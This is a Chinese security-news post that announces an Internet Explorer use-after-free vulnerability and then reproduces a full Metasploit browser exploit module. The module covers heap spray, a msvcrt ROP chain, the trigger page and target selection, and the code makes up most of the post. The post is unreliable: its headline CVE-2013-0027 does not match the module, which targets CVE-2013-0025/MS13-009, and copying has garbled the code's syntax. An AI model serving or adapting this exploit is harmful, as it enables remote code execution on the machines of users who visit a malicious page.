高危漏洞CVE-2013-0027 EXP 影响IE所有版本

安全 漏洞
Microsoft Internet Explorer处理CPasteComma存在一个释放后使用错误,允许构建恶意WEB页,诱使用户解析,可以应用程序上下文执行任意代码。

Microsoft Internet Explorer处理CPasteComma存在一个释放后使用错误,允许构建恶意WEB页,诱使用户解析,可以应用程序上下文执行任意代码。CVE编号CVE-2013-0027,影响版本如下:

Microsoft Internet Explorer 10

Microsoft Internet Explorer 9

Microsoft Internet Explorer 8

Microsoft Internet Explorer 7

Microsoft Internet Explorer 6

在Metasploit已经发布相应的利用脚本,如下:

  1. ##  
  2. # This file is part of the Metasploit Framework and may be subject to  
  3. # redistribution and commercial restrictions. Please see the Metasploit  
  4. # Framework web site for more information on licensing and terms of use.  
  5. #   http://metasploit.com/framework/  
  6. ##  
  7.    
  8. require 'msf/core' 
  9.    
  10. class Metasploit3 < Msf::Exploit::Remote  
  11.     Rank = NormalRanking  
  12.    
  13.     include Msf::Exploit::Remote::HttpServer::HTML  
  14.     include Msf::Exploit::RopDb  
  15.    
  16.     def initialize(info={})  
  17.         super(update_info(info,  
  18.             'Name'           => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",  
  19.             'Description'    => %q{  
  20.                 This module exploits a use-after-free vulnerability in Microsoft Internet Explorer  
  21.                 where a CParaElement node is released but a reference is still kept  
  22.                 in CDoc. This memory is reused when a CDoc relayout is performed.  
  23.             },  
  24.             'License'        => MSF_LICENSE,  
  25.             'Author'         =>  
  26.                 [  
  27.                     'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module  
  28.                 ],  
  29.             'References'     =>  
  30.                 [  
  31.                     [ 'CVE''2013-0025' ],  
  32.                     [ 'MSB''MS13-009' ],  
  33.                     [ 'URL''http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]  
  34.                 ],  
  35.             'Payload'     =>  
  36.                 {  
  37.                     'BadChars'       => "\x00",  
  38.                     'Space'          => 920,  
  39.                     'DisableNops'    => true,  
  40.                     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
  41.                 },  
  42.             'DefaultOptions'  =>  
  43.                 {  
  44.                     'InitialAutoRunScript' => 'migrate -f' 
  45.                 },  
  46.             'Platform'    => 'win',  
  47.             'Targets'     =>  
  48.                 [  
  49.                     [ 'Automatic', {} ],  
  50.                     [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]  
  51.                 ],  
  52.             'Privileged'      => false,  
  53.             'DisclosureDate'  => "Feb 13 2013",  
  54.             'DefaultTarget'   => 0))  
  55.    
  56.         register_options(  
  57.             [  
  58.                 OptBool.new('OBFUSCATE', [false'Enable JavaScript obfuscation'false])  
  59.             ], self.class)  
  60.    
  61.     end  
  62.    
  63.     def get_target(agent)  
  64.         #If the user is already specified by the user, we'll just use that  
  65.         return target if target.name != 'Automatic' 
  66.    
  67.         nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' 
  68.         ie = agent.scan(/MSIE (\d)/).flatten[0] || '' 
  69.    
  70.         ie_name = "IE #{ie}" 
  71.    
  72.         case nt  
  73.         when '5.1' 
  74.             os_name = 'Windows XP SP3' 
  75.         end  
  76.    
  77.         targets.each do |t|  
  78.             if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
  79.                 print_status("Target selected as: #{t.name}")  
  80.                 return t  
  81.             end  
  82.         end  
  83.    
  84.         return nil  
  85.     end  
  86.    
  87.     def heap_spray(my_target, p)  
  88.         js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
  89.         js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
  90.    
  91.         js = %Q|  
  92.    
  93.             var heap_obj = new heapLib.ie(0x20000);  
  94.             var code = unescape("#{js_code}");  
  95.             var nops = unescape("#{js_nops}");  
  96.             while (nops.length < 0x80000) nops += nops;  
  97.             var offset = nops.substring(0, #{my_target['Offset']});  
  98.             var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  99.             while (shellcode.length < 0x40000) shellcode += shellcode;  
  100.             var block = shellcode.substring(0, (0x80000-6)/2);  
  101.             heap_obj.gc();  
  102.             for (var i=1; i < 0x300; i++) {  
  103.                 heap_obj.alloc(block);  
  104.             }  
  105.             var overflow = nops.substring(0, 10);  
  106.    
  107.         |  
  108.    
  109.         js = heaplib(js, {:noobfu => true})  
  110.    
  111.         if datastore['OBFUSCATE']  
  112.             js = ::Rex::Exploitation::JSObfu.new(js)  
  113.             js.obfuscate  
  114.    
  115.         end  
  116.    
  117.         return js  
  118.     end  
  119.    
  120.     def get_payload(t, cli)  
  121.         code = payload.encoded  
  122.    
  123.         # No rop. Just return the payload.  
  124.         return code if t['Rop'].nil?  
  125.    
  126.         # ROP chain generated by mona.py - See corelan.be  
  127.         case t['Rop']  
  128.         when :msvcrt  
  129.             print_status("Using msvcrt ROP")  
  130.             rop_nops = [0x77c39f92].pack("V") * 11 # RETN  
  131.             rop_payload = generate_rop_payload('msvcrt'"", {'target'=>'xp'})  
  132.             rop_payload << rop_nops  
  133.             rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN  
  134.             rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN  
  135.             rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN  
  136.             rop_payload << [0x77c39f92].pack("V") # RETN  
  137.             rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset  
  138.             rop_payload << code  
  139.         end  
  140.    
  141.         return rop_payload  
  142.     end  
  143.    
  144.     def get_exploit(my_target, cli)  
  145.         p  = get_payload(my_target, cli)  
  146.         js = heap_spray(my_target, p)  
  147.    
  148.         html = %Q|  
  149.         <!doctype html>  
  150.         <html>  
  151.         <head>  
  152.         <script>  
  153.         #{js}  
  154.         </script>  
  155.         <script>  
  156.         var data;  
  157.         var objArray = new Array(1150);  
  158.    
  159.         setTimeout(function(){  
  160.             document.body.style.whiteSpace = "pre-line";  
  161.    
  162.             CollectGarbage();  
  163.    
  164.             for (var i=0;i<1150;i++){  
  165.                 objArray[i] = document.createElement('div');  
  166.                 objArray[i].className = data += unescape("%u0c0c%u0c0c");  
  167.             }  
  168.    
  169.             setTimeout(function(){document.body.innerHTML = "boo"}, 100)  
  170.         }, 100)  
  171.    
  172.         </script>  
  173.         </head>  
  174.         <body>  
  175.         <p> </p>  
  176.         </body>  
  177.         </html>  
  178.         |  
  179.    
  180.         return html  
  181.     end  
  182.    
  183.     def on_request_uri(cli, request)  
  184.         agent = request.headers['User-Agent']  
  185.         uri   = request.uri  
  186.         print_status("Requesting: #{uri}")  
  187.    
  188.         my_target = get_target(agent)  
  189.         # Avoid the attack if no suitable target found  
  190.         if my_target.nil?  
  191.             print_error("Browser not supported, sending 404: #{agent}")  
  192.             send_not_found(cli)  
  193.             return 
  194.         end  
  195.    
  196.         html = get_exploit(my_target, cli)  
  197.         html = html.gsub(/^\t\t/, '')  
  198.         print_status "Sending HTML..." 
  199.         send_response(cli, html, {'Content-Type'=>'text/html'})  
  200.    
  201.     end  
  202.    
  203. end 

微软安全补丁:https://technet.microsoft.com/en-us/security/bulletin/ms13-009

责任编辑:蓝雨泪 来源: FreebuF
相关推荐

2014-11-14 10:24:24

2020-12-11 11:18:43

MiTMKubernetes漏洞

2014-04-29 11:18:27

2015-04-28 07:50:02

2021-11-01 11:59:56

Windows 操作系统漏洞

2013-05-06 15:15:23

2015-07-13 09:18:20

2023-06-12 18:55:22

2022-05-30 12:50:12

微软Android漏洞

2023-04-04 22:20:53

2017-05-27 10:22:37

2015-03-13 18:08:49

2020-07-15 10:35:25

漏洞攻击网络安全

2022-12-09 14:32:53

2016-03-22 12:37:45

Struts2Struts2漏洞漏洞检测

2019-06-14 09:12:46

漏洞代码攻击

2013-03-28 11:10:11

2009-10-19 23:25:04

2021-01-31 10:31:29

Windows10操作系统RCE漏洞

2012-09-27 11:50:31

点赞
收藏

51CTO技术栈公众号